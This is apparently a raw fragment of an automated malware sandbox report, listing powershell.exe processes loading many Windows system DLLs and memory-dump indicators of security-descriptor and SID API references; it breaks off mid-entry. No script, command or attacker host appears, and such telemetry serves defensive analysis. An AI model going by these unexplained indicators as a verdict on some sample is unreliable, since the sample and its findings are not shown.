%WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Transactions\9354030849f9e58d9b95d32149f7bb68\System.Transactions.ni.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\2e6ebcf758bbffd55f7abfd8878c72c1\Microsoft.PowerShell.Commands (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\7c10a24ff552941b03414d424169041f\Microsoft.PowerShell.Commands (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\89738d6a75ab575f400360d0670f60ed\Microsoft.PowerShell.Security (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\culture.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en-US\mscorrc.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en\mscorrc.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorjit.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Xml\e0542eb82c5f716397d316d5c88f7ae5\System.Xml.ni.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management\38c49b707af17308185a48479fcb7404\System.Management.ni.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.DirectorySer#\543de12ce97f16746b85981a80878035\System.DirectoryServices.ni.d (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter shfolder.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Data\2276c85b65e1f517da1b9026640e2a55\System.Data.ni.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter netutils.dll (UID: 00000000-00002792) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\ole32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\OLEAUT32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System\9b0615d346556a8ae639dcec168731cc\System.ni.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\fabca41dc6cc22a902c2525408b49ab9\Microsoft.PowerShell.ConsoleH (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management.A#\d5ab9ebdfc2bacea66210c16fff703d2\System.Management.Automation. (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter AdvApi32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Core\2706ddbd765b8a111d3083f8af88ef03\System.Core.ni.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\326a4488a1881b3bd8ea1e8f4dd7420f\Microsoft.PowerShell.Commands (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Configuratio#\1e9190c7a12053ea715c8d8ef8faddd1\System.Configuration.Install. (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\23314086651ff4d13264ef3cd19e0b4e\Microsoft.WSMan.Management.ni (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Transactions\9354030849f9e58d9b95d32149f7bb68\System.Transactions.ni.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\2e6ebcf758bbffd55f7abfd8878c72c1\Microsoft.PowerShell.Commands (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\7c10a24ff552941b03414d424169041f\Microsoft.PowerShell.Commands (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\89738d6a75ab575f400360d0670f60ed\Microsoft.PowerShell.Security (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\culture.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en-US\mscorrc.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en\mscorrc.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorjit.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Xml\e0542eb82c5f716397d316d5c88f7ae5\System.Xml.ni.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management\38c49b707af17308185a48479fcb7404\System.Management.ni.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.DirectorySer#\543de12ce97f16746b85981a80878035\System.DirectoryServices.ni.d (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter shfolder.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Data\2276c85b65e1f517da1b9026640e2a55\System.Data.ni.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\shell32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter netutils.dll (UID: 00000000-00003372) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter comctl32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Core-LocalRegistry-L1-1-0.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter propsys.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter ntmarta.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter PROPSYS.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter OLEAUT32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\shell32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter ntshrui.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter srvcli.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter cscapi.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter slc.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter CRYPTBASE.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter advapi32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-2.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter api-ms-win-appmodel-runtime-l1-1-0.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter VERSION.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorwks.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter mscoree.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter ntdll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter shell32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\mscorlib\0478aed7fc25ae268474c704fd2a3e0f\mscorlib.ni.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\ole32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\OLEAUT32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System\9b0615d346556a8ae639dcec168731cc\System.ni.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\fabca41dc6cc22a902c2525408b49ab9\Microsoft.PowerShell.ConsoleH (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management.A#\d5ab9ebdfc2bacea66210c16fff703d2\System.Management.Automation. (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter kernel32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter version.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\psapi.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter psapi.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ntdll.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter user32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter AdvApi32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter CRYPTSP.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Core\2706ddbd765b8a111d3083f8af88ef03\System.Core.ni.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\326a4488a1881b3bd8ea1e8f4dd7420f\Microsoft.PowerShell.Commands (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Configuratio#\1e9190c7a12053ea715c8d8ef8faddd1\System.Configuration.Install. (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.WSMan.Man#\23314086651ff4d13264ef3cd19e0b4e\Microsoft.WSMan.Management.ni (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Transactions\9354030849f9e58d9b95d32149f7bb68\System.Transactions.ni.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Transactions\2.0.0.0__b77a5c561934e089\System.Transactions.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\2e6ebcf758bbffd55f7abfd8878c72c1\Microsoft.PowerShell.Commands (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\7c10a24ff552941b03414d424169041f\Microsoft.PowerShell.Commands (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\Microsoft.PowerShel#\89738d6a75ab575f400360d0670f60ed\Microsoft.PowerShell.Security (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\culture.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en-US\mscorrc.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\en\mscorrc.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorrc.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\mscorjit.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Xml\e0542eb82c5f716397d316d5c88f7ae5\System.Xml.ni.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Management\38c49b707af17308185a48479fcb7404\System.Management.ni.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.DirectorySer#\543de12ce97f16746b85981a80878035\System.DirectoryServices.ni.d (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter Kernel32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\mscorlib\2.0.0.0__b77a5c561934e089\secur32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter secur32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter SspiCli.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Data\2276c85b65e1f517da1b9026640e2a55\System.Data.ni.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_64\System.Data\2.0.0.0__b77a5c561934e089\System.Data.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter shfolder.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\NativeImages_v2.0.50727_64\System.Configuration\a2571a4e32a586b52463d88a83702aed\System.Configuration.ni.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\rasapi32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter rasapi32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\ws2_32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter ws2_32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter RASMAN.DLL (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter rtutils.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-winsvc-L1-1-0.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L1-1-0.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\winhttp.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter winhttp.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter RPCRT4.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter IPHLPAPI.DLL (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter NSI.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter CFGMGR32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter API-MS-WIN-Service-Management-L2-1-0.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\iphlpapi.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter iphlpapi.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\security.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter security.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter ncrypt.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\bcryptprimitives.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\assembly\GAC_MSIL\System\2.0.0.0__b77a5c561934e089\crypt32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter crypt32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\CRYPT32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter USERENV.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-SDDL-L1-1-0.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\system32\cryptnet.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter cryptnet.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter SensApi.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter WINHTTP.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter profapi.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter DNSAPI.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter setupapi.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter Cabinet.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter DEVRTL.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter API-MS-Win-Security-LSALookup-L1-1-0.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter %WINDIR%\Microsoft.NET\Framework64\v2.0.50727\diasymreader.dll (UID: 00000000-00001464) "powershell.exe" called "LoadLibrary" with a parameter netutils.dll (UID: 00000000-00001464)38:T44e4,Found reference to API (Indicator: "Beep"; Source: "00000000-00000612.00000000.79908.7EFE0000.00000002.mdmp, 00000000-00000612.00000001.81290.7EFE0000.00000002.mdmp") Found reference to API (Indicator: "GetLengthSid"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "CopySid"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "IsValidSid"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetSidSubAuthority"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "InitializeSid"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetSidLengthRequired"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorOwner"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "InitializeSecurityDescriptor"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetSecurityDescriptorOwner"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "MakeAbsoluteSD"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetSecurityDescriptorControl"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorGroup"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "GetSecurityDescriptorGroup"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "SetSecurityDescriptorDacl"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 00000000-00000612.00000001.81290.FFE21000.00000020.mdmp") Found reference to API (Indicator: "AddAce"; Source: "00000000-00000612.00000000.79908.FFE21000.00000020.mdmp, 